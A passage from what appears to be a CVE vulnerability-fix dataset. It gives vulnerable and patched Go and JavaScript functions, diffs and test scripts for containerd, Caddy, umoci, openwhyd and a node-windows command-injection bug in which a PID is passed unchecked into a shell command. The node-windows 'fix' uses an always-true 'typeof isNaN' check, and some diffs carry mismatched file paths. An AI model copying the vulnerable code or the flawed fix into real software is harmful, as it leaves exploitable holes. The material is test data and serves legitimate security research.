json.Unmarshal(b, &index); err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\n\tvar newManifests []ocispec.Descriptor\n\tmodified := false\n\tfor _, manifest := range index.Manifests {\n\t\tif cryptoOp == cryptoOpUnwrapOnly && !isLocalPlatform(manifest.Platform) {\n\t\t\tcontinue\n\t\t}\n\t\tnewManifest, m, err := cryptChildren(ctx, cs, manifest, cc, lf, cryptoOp, manifest.Platform)\n\t\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\t\treturn ocispec.Descriptor{}, false, err\n\t\t}\n\t\tif m {\n\t\t\tmodified = true\n\t\t}\n\t\tnewManifests = append(newManifests, newManifest)\n\t}\n\tif cryptoOp == cryptoOpUnwrapOnly {\n\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"No manifest found for local platform\")\n\t}\n\n\tif modified {\n\t\t// we need to update the index\n\t\tnewIndex := ocispec.Index{\n\t\t\tVersioned: index.Versioned,\n\t\t\tManifests: newManifests,\n\t\t}\n\n\t\tmb, err := json.MarshalIndent(newIndex, \"\", \"   \")\n\t\tif err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to marshal index: %w\", err)\n\t\t}\n\n\t\tnewDesc := ocispec.Descriptor{\n\t\t\tMediaType: ocispec.MediaTypeImageIndex,\n\t\t\tSize:      int64(len(mb)),\n\t\t\tDigest:    digest.Canonical.FromBytes(mb),\n\t\t}\n\n\t\tlabels := map[string]string{}\n\t\tfor i, m := range newIndex.Manifests {\n\t\t\tlabels[fmt.Sprintf(\"containerd.io/gc.ref.content.%d\", i)] = m.Digest.String()\n\t\t}\n\n\t\tref := fmt.Sprintf(\"index-%s\", newDesc.Digest.String())\n\n\t\tif err = content.WriteBlob(ctx, cs, ref, bytes.NewReader(mb), newDesc, content.WithLabels(labels)); err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to write index: %w\", err)\n\t\t}\n\t\treturn newDesc, true, nil\n\t}\n\n\treturn desc, false, nil\n}"}, {"id": "fix_go_227_2", "commit": "6fdd981", "file_path": "images/encryption/encryption.go", "start_line": "53", "end_line": "58", "snippet": "// isLocalPlatform determines whether the given platform matches the local one\nfunc isLocalPlatform(platform *ocispec.Platform) bool {\n\tmatcher := platforms.NewMatcher(*platform)\n\n\treturn matcher.Match(platforms.DefaultSpec())\n}"}], "vul_patch": "--- a/images/encryption/encryption.go\n+++ b/images/encryption/encryption.go\n@@ -328,6 +328,9 @@\n \tvar newManifests []ocispec.Descriptor\n \tmodified := false\n \tfor _, manifest := range index.Manifests {\n+\t\tif cryptoOp == cryptoOpUnwrapOnly && !isLocalPlatform(manifest.Platform) {\n+\t\t\tcontinue\n+\t\t}\n \t\tnewManifest, m, err := cryptChildren(ctx, cs, manifest, cc, lf, cryptoOp, manifest.Platform)\n \t\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n \t\t\treturn ocispec.Descriptor{}, false, err\n@@ -336,6 +339,9 @@\n \t\t\tmodified = true\n \t\t}\n \t\tnewManifests = append(newManifests, newManifest)\n+\t}\n+\tif cryptoOp == cryptoOpUnwrapOnly {\n+\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"No manifest found for local platform\")\n \t}\n \n \tif modified {\n\n--- /dev/null\n+++ b/images/encryption/encryption.go\n@@ -0,0 +1,6 @@\n+// isLocalPlatform determines whether the given platform matches the local one\n+func isLocalPlatform(platform *ocispec.Platform) bool {\n+\tmatcher := platforms.NewMatcher(*platform)\n+\n+\treturn matcher.Match(platforms.DefaultSpec())\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-22538", "cve_description": "A privilege escalation vulnerability impacting the Google Exposure Notification Verification Server (versions prior to 0.23.1), allows an attacker who (1) has UserWrite permissions and (2) is using a carefully crafted request or malicious proxy, to create another user with higher privileges than their own. This occurs due to insufficient checks on the allowed set of permissions. The new user creation event would be captured in the Event Log.", "cwe_info": {"CWE-276": {"name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files."}}, "repo": "https://github.com/google/exposure-notifications-verification-server", "patch_url": ["https://github.com/google/exposure-notifications-verification-server/commit/eb8cf40b12dbe79304f1133c06fb73419383cd95"], "programing_language": "Go", "vul_func": [{"id": "vul_go_50_1", "commit": "3d28d0ba00c12a9d54cd7737dd5000d04fbf6e4e", "file_path": "pkg/rbac/rbac.go", "start_line": 64, "end_line": 80, "snippet": "func CompileAndAuthorize(actorPermission Permission, toUpdate []Permission) (Permission, error) {\n\tvar permission Permission\n\tfor _, update := range toUpdate {\n\t\t// Verify that the user making changes has the permissions they are trying\n\t\t// to grant. It is not valid for someone to grant permissions larger than\n\t\t// they currently have.\n\t\tif !Can(actorPermission, update) {\n\t\t\treturn 0, fmt.Errorf(\"actor does not have all scopes which are being granted\")\n\t\t}\n\t\tpermission = permission | update\n\t}\n\n\t// Ensure implied permissions. The actor must also have the implied\n\t// permissions by definition.\n\tpermission = AddImplied(permission)\n\treturn permission, nil\n}"}], "fix_func": [{"id": "fix_go_50_1", "commit": "eb8cf40b12dbe79304f1133c06fb73419383cd95", "file_path": "pkg/rbac/rbac.go", "start_line": 64, "end_line": 90, "snippet": "func CompileAndAuthorize(actorPermission Permission, toUpdate []Permission) (Permission, error) {\n\tvar permission Permission\n\tfor _, update := range toUpdate {\n\t\t// Verify the provided permission is a known permission. This prevents a\n\t\t// security vulnerability whereby a carefully crafted request is able to\n\t\t// provide a value that correctly passes an the bitwise AND check and then\n\t\t// modifies the target permission using OR to escalate privilege.\n\t\tif _, ok := PermissionMap[update]; !ok {\n\t\t\tif update != LegacyRealmAdmin && update != LegacyRealmUser {\n\t\t\t\treturn 0, fmt.Errorf(\"provided permission %v is unknown\", update)\n\t\t\t}\n\t\t}\n\n\t\t// Verify that the user making changes has the permissions they are trying\n\t\t// to grant. It is not valid for someone to grant permissions larger than\n\t\t// they currently have.\n\t\tif !Can(actorPermission, update) {\n\t\t\treturn 0, fmt.Errorf(\"actor does not have all scopes which are being granted\")\n\t\t}\n\t\tpermission = permission | update\n\t}\n\n\t// Ensure implied permissions. The actor must also have the implied\n\t// permissions by definition.\n\tpermission = AddImplied(permission)\n\treturn permission, nil\n}"}], "vul_patch": "--- a/pkg/rbac/rbac.go\n+++ b/pkg/rbac/rbac.go\n@@ -1,6 +1,16 @@\n func CompileAndAuthorize(actorPermission Permission, toUpdate []Permission) (Permission, error) {\n \tvar permission Permission\n \tfor _, update := range toUpdate {\n+\t\t// Verify the provided permission is a known permission. This prevents a\n+\t\t// security vulnerability whereby a carefully crafted request is able to\n+\t\t// provide a value that correctly passes an the bitwise AND check and then\n+\t\t// modifies the target permission using OR to escalate privilege.\n+\t\tif _, ok := PermissionMap[update]; !ok {\n+\t\t\tif update != LegacyRealmAdmin && update != LegacyRealmUser {\n+\t\t\t\treturn 0, fmt.Errorf(\"provided permission %v is unknown\", update)\n+\t\t\t}\n+\t\t}\n+\n \t\t// Verify that the user making changes has the permissions they are trying\n \t\t// to grant. It is not valid for someone to grant permissions larger than\n \t\t// they currently have.\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-22538:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/exposure-notifications-verification-server\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestRequiredPermissions$/^escalate$ github.com/google/exposure-notifications-verification-server/pkg/rbac\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-22538:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/exposure-notifications-verification-server\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestRequiredPermissions|TestImpliedBy|TestPermission_Description|TestPermission_String|TestRBAC_Permissions|TestPermission_Implied|TestPermission_Value|TestPermissionNames)$' github.com/google/exposure-notifications-verification-server/pkg/rbac"}
{"cve_id": "CVE-2021-3837", "cve_description": "openwhyd is vulnerable to Improper Authorization", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://www.github.com/openwhyd/openwhyd", "patch_url": ["https://www.github.com/openwhyd/openwhyd/commit/102a97bb082edc831cf35d27f9e5c4f55f10ae85"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_153_1", "commit": "b97eb82", "file_path": "app/controllers/api/login.js", "start_line": 12, "end_line": 99, "snippet": "exports.handleRequest = function (request, form, response, ignorePassword) {\n  form = form || {};\n  if (form.password && !form.md5) form.md5 = md5(form.password);\n\n  request.logToConsole('login.handleRequest', {\n    action: form.action,\n    email: form.email,\n    md5: form.md5,\n  });\n\n  function renderJSON(json) {\n    response[form.ajax == 'iframe' ? 'renderWrappedJSON' : 'renderJSON'](json);\n  }\n\n  // in case of successful login\n  function renderRedirect(url, user) {\n    request.session.whydUid = (user || {}).id;\n    if (!form.ajax) response.renderHTML(loggingTemplate.htmlRedirect(url));\n    else {\n      var json = { redirect: url };\n      if (form.includeUser) {\n        userApi.fetchUserData(user, function (user) {\n          json.user = user;\n          renderJSON(json);\n        });\n      } else renderJSON(json);\n    }\n  }\n\n  function renderForm(form) {\n    delete request.session;\n    if (form.ajax) renderJSON(form);\n    else response.renderHTML(loggingTemplate.renderLoginPage(form));\n  }\n\n  if (form.action === 'logout') {\n    request.session.destroy(function (err) {\n      if (err) {\n        console.error('error from request.session.destroy()', err);\n        form.error = err;\n      }\n      console.log('logout result', form.error);\n      renderForm(form);\n    });\n    return;\n  } else if (form.email) {\n    form.email = emailModel.normalize(form.email);\n\n    userModel[form.email.indexOf('@') > -1 ? 'fetchByEmail' : 'fetchByHandle'](\n      form.email,\n      function (dbUser) {\n        if (!dbUser) {\n          form.error = \"Are you sure? We don't recognize your email address!\";\n        } else if (form.action == 'forgot') {\n          notifEmails.sendPasswordReset(dbUser._id, dbUser.pwd, form.redirect);\n          /*form.error*/ form.ok =\n            'We just sent you an email to reset your password, wait for it!';\n        } else if (\n          !ignorePassword &&\n          !form.md5 /*(!form.password || form.password == \"password\")*/\n        ) {\n          form.error = 'Please enter your password below:';\n        } else if (\n          form.action == 'login' &&\n          (ignorePassword || dbUser.pwd == form.md5)\n        ) {\n          // console.log('ok, user logged in as: ' + dbUser.name);\n          // console.log('form.fbUid', form.fbUid);\n          if (form.fbUid)\n            userModel.update(dbUser._id, {\n              $set: {\n                fbId: form.fbUid,\n                fbTok: form.fbTok, // access token provided on last facebook login\n              },\n            });\n          renderRedirect(form.redirect || '/', dbUser);\n          return; // prevent default response (renderForm)\n        } else if (form.action != 'logout') {\n          form.wrongPassword = 1;\n          form.error = 'Your password seems wrong... Try again!';\n        }\n\n        console.log('login result', form.error);\n        renderForm(form);\n      }\n    );\n  } else renderForm(form);\n};"}, {"id": "vul_js_153_2", "commit": "b97eb82", "file_path": "app/models/logging.js", "start_line": 263, "end_line": 268, "snippet": "http.ServerResponse.prototype.safeRedirect = function (url) {\n  const fullURL = new URL(url, config.urlPrefix);\n  if (`${fullURL.protocol}//${fullURL.host}` !== config.urlPrefix)\n    return this.forbidden();\n  this.redirect(url);\n};"}], "fix_func": [{"id": "fix_js_153_1", "commit": "102a97b", "file_path": "app/controllers/api/login.js", "start_line": 14, "end_line": 106, "snippet": "exports.handleRequest = function (request, form, response, ignorePassword) {\n  form = form || {};\n  if (form.password && !form.md5) form.md5 = md5(form.password);\n\n  request.logToConsole('login.handleRequest', {\n    action: form.action,\n    email: form.email,\n    md5: form.md5,\n  });\n\n  function renderJSON(json) {\n    response[form.ajax == 'iframe' ? 'renderWrappedJSON' : 'renderJSON'](json);\n  }\n\n  // in case of successful login\n  function renderRedirect(url, user) {\n    request.session.whydUid = (user || {}).id;\n    if (!form.ajax) response.renderHTML(loggingTemplate.htmlRedirect(url));\n    else {\n      var json = { redirect: url };\n      if (form.includeUser) {\n        userApi.fetchUserData(user, function (user) {\n          json.user = user;\n          renderJSON(json);\n        });\n      } else renderJSON(json);\n    }\n  }\n\n  function renderForm(form) {\n    delete request.session;\n    if (form.ajax) renderJSON(form);\n    else response.renderHTML(loggingTemplate.renderLoginPage(form));\n  }\n\n  if (form.action === 'logout') {\n    request.session.destroy(function (err) {\n      if (err) {\n        console.error('error from request.session.destroy()', err);\n        form.error = err;\n      }\n      console.log('logout result', form.error);\n      renderForm(form);\n    });\n    return;\n  } else if (form.email) {\n    form.email = emailModel.normalize(form.email);\n\n    userModel[form.email.indexOf('@') > -1 ? 'fetchByEmail' : 'fetchByHandle'](\n      form.email,\n      function (dbUser) {\n        if (\n          form.redirect &&\n          snip.getSafeOpenwhydURL(form.redirect, config.urlPrefix) === false\n        ) {\n          form.error = 'Unsafe redirect target';\n        } else if (!dbUser) {\n          form.error = \"Are you sure? We don't recognize your email address!\";\n        } else if (form.action == 'forgot') {\n          notifEmails.sendPasswordReset(dbUser._id, dbUser.pwd, form.redirect);\n          /*form.error*/ form.ok =\n            'We just sent you an email to reset your password, wait for it!';\n        } else if (\n          !ignorePassword &&\n          !form.md5 /*(!form.password || form.password == \"password\")*/\n        ) {\n          form.error = 'Please enter your password below:';\n        } else if (\n          form.action == 'login' &&\n          (ignorePassword || dbUser.pwd == form.md5)\n        ) {\n          // console.log('ok, user logged in as: ' + dbUser.name);\n          // console.log('form.fbUid', form.fbUid);\n          if (form.fbUid)\n            userModel.update(dbUser._id, {\n              $set: {\n                fbId: form.fbUid,\n                fbTok: form.fbTok, // access token provided on last facebook login\n              },\n            });\n          renderRedirect(form.redirect || '/', dbUser);\n          return; // prevent default response (renderForm)\n        } else if (form.action != 'logout') {\n          form.wrongPassword = 1;\n          form.error = 'Your password seems wrong... Try again!';\n        }\n\n        console.log('login result', form.error);\n        renderForm(form);\n      }\n    );\n  } else renderForm(form);\n};"}, {"id": "fix_js_153_2", "commit": "102a97b", "file_path": "app/models/logging.js", "start_line": 263, "end_line": 267, "snippet": "http.ServerResponse.prototype.safeRedirect = function (url) {\n  const safeURL = snip.getSafeOpenwhydURL(url, config.urlPrefix);\n  if (safeURL === false) return this.forbidden();\n  this.redirect(url);\n};"}, {"id": "fix_js_153_3", "commit": "102a97b", "file_path": "app/controllers/api/login.js", "start_line": 4, "end_line": 5, "snippet": "const snip = require('../../snip.js');\nconst config = require('../../models/config.js');"}, {"id": "fix_js_153_4", "commit": "102a97b", "file_path": "app/snip.js", "start_line": 112, "end_line": 117, "snippet": "exports.getSafeOpenwhydURL = function (url, safeUrlPrefix) {\n  if (typeof url !== 'string' || url.includes('<script')) return false;\n  const fullURL = new URL(url, safeUrlPrefix);\n  if (`${fullURL.protocol}//${fullURL.host}` !== safeUrlPrefix) return false;\n  else return fullURL;\n};"}], "vul_patch": "--- a/app/controllers/api/login.js\n+++ b/app/controllers/api/login.js\n@@ -49,7 +49,12 @@\n     userModel[form.email.indexOf('@') > -1 ? 'fetchByEmail' : 'fetchByHandle'](\n       form.email,\n       function (dbUser) {\n-        if (!dbUser) {\n+        if (\n+          form.redirect &&\n+          snip.getSafeOpenwhydURL(form.redirect, config.urlPrefix) === false\n+        ) {\n+          form.error = 'Unsafe redirect target';\n+        } else if (!dbUser) {\n           form.error = \"Are you sure? We don't recognize your email address!\";\n         } else if (form.action == 'forgot') {\n           notifEmails.sendPasswordReset(dbUser._id, dbUser.pwd, form.redirect);\n\n--- a/app/models/logging.js\n+++ b/app/models/logging.js\n@@ -1,6 +1,5 @@\n http.ServerResponse.prototype.safeRedirect = function (url) {\n-  const fullURL = new URL(url, config.urlPrefix);\n-  if (`${fullURL.protocol}//${fullURL.host}` !== config.urlPrefix)\n-    return this.forbidden();\n+  const safeURL = snip.getSafeOpenwhydURL(url, config.urlPrefix);\n+  if (safeURL === false) return this.forbidden();\n   this.redirect(url);\n };\n\n--- /dev/null\n+++ b/app/models/logging.js\n@@ -0,0 +1,2 @@\n+const snip = require('../../snip.js');\n+const config = require('../../models/config.js');\n\n--- /dev/null\n+++ b/app/models/logging.js\n@@ -0,0 +1,6 @@\n+exports.getSafeOpenwhydURL = function (url, safeUrlPrefix) {\n+  if (typeof url !== 'string' || url.includes('<script')) return false;\n+  const fullURL = new URL(url, safeUrlPrefix);\n+  if (`${fullURL.protocol}//${fullURL.host}` !== safeUrlPrefix) return false;\n+  else return fullURL;\n+};\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-45459", "cve_description": "lib/cmd.js in the node-windows package before 1.0.0-beta.6 for Node.js allows command injection via the PID parameter.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/coreybutler/node-windows", "patch_url": ["https://github.com/coreybutler/node-windows/commit/a379d31366edbd7a672a981e6c09e185ab448dd3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_171_1", "commit": "00f6bc8", "file_path": "lib/cmd.js", "start_line": 38, "end_line": 48, "snippet": "  kill: function(pid,force,callback){\n    if (!pid){\n      throw new Error('PID is required for the kill operation.');\n    }\n    callback = callback || function(){};\n    if (typeof force == 'function'){\n      callback = force;\n      force = false;\n    }\n    exec(\"taskkill /PID \"+pid+(force==true?' /f':''),callback);\n  },"}], "fix_func": [{"id": "fix_js_171_1", "commit": "a379d31", "file_path": "lib/cmd.js", "start_line": 38, "end_line": 53, "snippet": "  kill: function(pid,force,callback){\n    if (!pid){\n      throw new Error('PID is required for the kill operation.');\n    }\n\n    if (typeof isNaN(pid)) {\n      throw new Error('PID must be a number.')\n    }\n\n    callback = callback || function(){};\n    if (typeof force == 'function'){\n      callback = force;\n      force = false;\n    }\n    exec(\"taskkill /PID \"+pid+(force==true?' /f':''),callback);\n  },"}], "vul_patch": "--- a/lib/cmd.js\n+++ b/lib/cmd.js\n@@ -2,6 +2,11 @@\n     if (!pid){\n       throw new Error('PID is required for the kill operation.');\n     }\n+\n+    if (typeof isNaN(pid)) {\n+      throw new Error('PID must be a number.')\n+    }\n+\n     callback = callback || function(){};\n     if (typeof force == 'function'){\n       callback = force;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29718", "cve_description": "Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/caddyserver/caddy", "patch_url": ["https://github.com/caddyserver/caddy/commit/3fe2c73dd04f7769a9d9673236cb94b79ac45659"], "programing_language": "Go", "vul_func": [{"id": "vul_go_109_1", "commit": "5333c35", "file_path": "modules/caddyhttp/matchers.go", "start_line": 317, "end_line": 394, "snippet": "func (m MatchPath) Match(r *http.Request) bool {\n\t// PathUnescape returns an error if the escapes aren't\n\t// well-formed, meaning the count % matches the RFC.\n\t// Return early if the escape is improper.\n\tunescapedPath, err := url.PathUnescape(r.URL.Path)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tlowerPath := strings.ToLower(unescapedPath)\n\n\t// see #2917; Windows ignores trailing dots and spaces\n\t// when accessing files (sigh), potentially causing a\n\t// security risk (cry) if PHP files end up being served\n\t// as static files, exposing the source code, instead of\n\t// being matched by *.php to be treated as PHP scripts\n\tlowerPath = strings.TrimRight(lowerPath, \". \")\n\n\t// Clean the path, merges doubled slashes, etc.\n\t// This ensures maliciously crafted requests can't bypass\n\t// the path matcher. See #4407\n\tlowerPath = path.Clean(lowerPath)\n\n\t// Cleaning may remove the trailing slash, but we want to keep it\n\tif lowerPath != \"/\" && strings.HasSuffix(r.URL.Path, \"/\") {\n\t\tlowerPath = lowerPath + \"/\"\n\t}\n\n\trepl := r.Context().Value(caddy.ReplacerCtxKey).(*caddy.Replacer)\n\n\tfor _, matchPath := range m {\n\t\tmatchPath = repl.ReplaceAll(matchPath, \"\")\n\n\t\t// special case: whole path is wildcard; this is unnecessary\n\t\t// as it matches all requests, which is the same as no matcher\n\t\tif matchPath == \"*\" {\n\t\t\treturn true\n\t\t}\n\n\t\t// special case: first and last characters are wildcard,\n\t\t// treat it as a fast substring match\n\t\tif len(matchPath) > 1 &&\n\t\t\tstrings.HasPrefix(matchPath, \"*\") &&\n\t\t\tstrings.HasSuffix(matchPath, \"*\") {\n\t\t\tif strings.Contains(lowerPath, matchPath[1:len(matchPath)-1]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// special case: first character is a wildcard,\n\t\t// treat it as a fast suffix match\n\t\tif strings.HasPrefix(matchPath, \"*\") {\n\t\t\tif strings.HasSuffix(lowerPath, matchPath[1:]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// special case: last character is a wildcard,\n\t\t// treat it as a fast prefix match\n\t\tif strings.HasSuffix(matchPath, \"*\") {\n\t\t\tif strings.HasPrefix(lowerPath, matchPath[:len(matchPath)-1]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// for everything else, try globular matching, which also\n\t\t// is exact matching if there are no glob/wildcard chars;\n\t\t// can ignore error here because we can't handle it anyway\n\t\tmatches, _ := filepath.Match(matchPath, lowerPath)\n\t\tif matches {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_109_1", "commit": "3fe2c73", "file_path": "modules/caddyhttp/matchers.go", "start_line": 317, "end_line": 394, "snippet": "func (m MatchPath) Match(r *http.Request) bool {\n\t// PathUnescape returns an error if the escapes aren't\n\t// well-formed, meaning the count % matches the RFC.\n\t// Return early if the escape is improper.\n\tunescapedPath, err := url.PathUnescape(r.URL.Path)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tlowerPath := strings.ToLower(unescapedPath)\n\n\t// Clean the path, merges doubled slashes, etc.\n\t// This ensures maliciously crafted requests can't bypass\n\t// the path matcher. See #4407\n\tlowerPath = path.Clean(lowerPath)\n\n\t// see #2917; Windows ignores trailing dots and spaces\n\t// when accessing files (sigh), potentially causing a\n\t// security risk (cry) if PHP files end up being served\n\t// as static files, exposing the source code, instead of\n\t// being matched by *.php to be treated as PHP scripts\n\tlowerPath = strings.TrimRight(lowerPath, \". \")\n\n\t// Cleaning may remove the trailing slash, but we want to keep it\n\tif lowerPath != \"/\" && strings.HasSuffix(r.URL.Path, \"/\") {\n\t\tlowerPath = lowerPath + \"/\"\n\t}\n\n\trepl := r.Context().Value(caddy.ReplacerCtxKey).(*caddy.Replacer)\n\n\tfor _, matchPath := range m {\n\t\tmatchPath = repl.ReplaceAll(matchPath, \"\")\n\n\t\t// special case: whole path is wildcard; this is unnecessary\n\t\t// as it matches all requests, which is the same as no matcher\n\t\tif matchPath == \"*\" {\n\t\t\treturn true\n\t\t}\n\n\t\t// special case: first and last characters are wildcard,\n\t\t// treat it as a fast substring match\n\t\tif len(matchPath) > 1 &&\n\t\t\tstrings.HasPrefix(matchPath, \"*\") &&\n\t\t\tstrings.HasSuffix(matchPath, \"*\") {\n\t\t\tif strings.Contains(lowerPath, matchPath[1:len(matchPath)-1]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// special case: first character is a wildcard,\n\t\t// treat it as a fast suffix match\n\t\tif strings.HasPrefix(matchPath, \"*\") {\n\t\t\tif strings.HasSuffix(lowerPath, matchPath[1:]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// special case: last character is a wildcard,\n\t\t// treat it as a fast prefix match\n\t\tif strings.HasSuffix(matchPath, \"*\") {\n\t\t\tif strings.HasPrefix(lowerPath, matchPath[:len(matchPath)-1]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// for everything else, try globular matching, which also\n\t\t// is exact matching if there are no glob/wildcard chars;\n\t\t// can ignore error here because we can't handle it anyway\n\t\tmatches, _ := filepath.Match(matchPath, lowerPath)\n\t\tif matches {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}], "vul_patch": "--- a/modules/caddyhttp/matchers.go\n+++ b/modules/caddyhttp/matchers.go\n@@ -9,17 +9,17 @@\n \n \tlowerPath := strings.ToLower(unescapedPath)\n \n+\t// Clean the path, merges doubled slashes, etc.\n+\t// This ensures maliciously crafted requests can't bypass\n+\t// the path matcher. See #4407\n+\tlowerPath = path.Clean(lowerPath)\n+\n \t// see #2917; Windows ignores trailing dots and spaces\n \t// when accessing files (sigh), potentially causing a\n \t// security risk (cry) if PHP files end up being served\n \t// as static files, exposing the source code, instead of\n \t// being matched by *.php to be treated as PHP scripts\n \tlowerPath = strings.TrimRight(lowerPath, \". \")\n-\n-\t// Clean the path, merges doubled slashes, etc.\n-\t// This ensures maliciously crafted requests can't bypass\n-\t// the path matcher. See #4407\n-\tlowerPath = path.Clean(lowerPath)\n \n \t// Cleaning may remove the trailing slash, but we want to keep it\n \tif lowerPath != \"/\" && strings.HasSuffix(r.URL.Path, \"/\") {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-29136", "cve_description": "Open Container Initiative umoci before 0.4.7 allows attackers to overwrite arbitrary host paths via a crafted image that causes symlink traversal when \"umoci unpack\" or \"umoci raw unpack\" is used.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/opencontainers/umoci", "patch_url": ["https://github.com/opencontainers/umoci/commit/d9efc31daf2206f7d3fdb839863cf7a576a2eb57"], "programing_language": "Go", "vul_func": [{"id": "vul_go_186_1", "commit": "07fa845", "file_path": "oci/layer/tar_extract.go", "start_line": 388, "end_line": 704, "snippet": "func (te *TarExtractor) UnpackEntry(root string, hdr *tar.Header, r io.Reader) (Err error) {\n\t// Make the paths safe.\n\thdr.Name = CleanPath(hdr.Name)\n\troot = filepath.Clean(root)\n\n\tlog.WithFields(log.Fields{\n\t\t\"root\": root,\n\t\t\"path\": hdr.Name,\n\t\t\"type\": hdr.Typeflag,\n\t}).Debugf(\"unpacking entry\")\n\n\t// Get directory and filename, but we have to safely get the directory\n\t// component of the path. SecureJoinVFS will evaluate the path itself,\n\t// which we don't want (we're clever enough to handle the actual path being\n\t// a symlink).\n\tunsafeDir, file := filepath.Split(hdr.Name)\n\tif filepath.Join(\"/\", hdr.Name) == \"/\" {\n\t\t// If we got an entry for the root, then unsafeDir is the full path.\n\t\tunsafeDir, file = hdr.Name, \".\"\n\t}\n\tdir, err := securejoin.SecureJoinVFS(root, unsafeDir, te.fsEval)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"sanitise symlinks in root\")\n\t}\n\tpath := filepath.Join(dir, file)\n\n\t// Before we do anything, get the state of dir. Because we might be adding\n\t// or removing files, our parent directory might be modified in the\n\t// process. As a result, we want to be able to restore the old state\n\t// (because we only apply state that we find in the archive we're iterating\n\t// over). We can safely ignore an error here, because a non-existent\n\t// directory will be fixed by later archive entries.\n\tif dirFi, err := te.fsEval.Lstat(dir); err == nil && path != dir {\n\t\t// FIXME: This is really stupid.\n\t\t// #nosec G104\n\t\tlink, _ := te.fsEval.Readlink(dir)\n\t\tdirHdr, err := tar.FileInfoHeader(dirFi, link)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"convert dirFi to dirHdr\")\n\t\t}\n\n\t\t// More faking to trick restoreMetadata to actually restore the directory.\n\t\tdirHdr.Typeflag = tar.TypeDir\n\t\tdirHdr.Linkname = \"\"\n\n\t\t// os.Lstat doesn't get the list of xattrs by default. We need to fill\n\t\t// this explicitly. Note that while Go's \"archive/tar\" takes strings,\n\t\t// in Go strings can be arbitrary byte sequences so this doesn't\n\t\t// restrict the possible values.\n\t\t// TODO: Move this to a separate function so we can share it with\n\t\t//       tar_generate.go.\n\t\txattrs, err := te.fsEval.Llistxattr(dir)\n\t\tif err != nil {\n\t\t\tif errors.Cause(err) != unix.ENOTSUP {\n\t\t\t\treturn errors.Wrap(err, \"get dirHdr.Xattrs\")\n\t\t\t}\n\t\t\tif !te.enotsupWarned {\n\t\t\t\tlog.Warnf(\"xattr{%s} ignoring ENOTSUP on llistxattr\", dir)\n\t\t\t\tlog.Warnf(\"xattr{%s} destination filesystem does not support xattrs, further warnings will be suppressed\", path)\n\t\t\t\tte.enotsupWarned = true\n\t\t\t} else {\n\t\t\t\tlog.Debugf(\"xattr{%s} ignoring ENOTSUP on clearxattrs\", path)\n\t\t\t}\n\t\t}\n\t\tif len(xattrs) > 0 {\n\t\t\tdirHdr.Xattrs = map[string]string{}\n\t\t\tfor _, xattr := range xattrs {\n\t\t\t\tvalue, err := te.fsEval.Lgetxattr(dir, xattr)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"get xattr\")\n\t\t\t\t}\n\t\t\t\tdirHdr.Xattrs[xattr] = 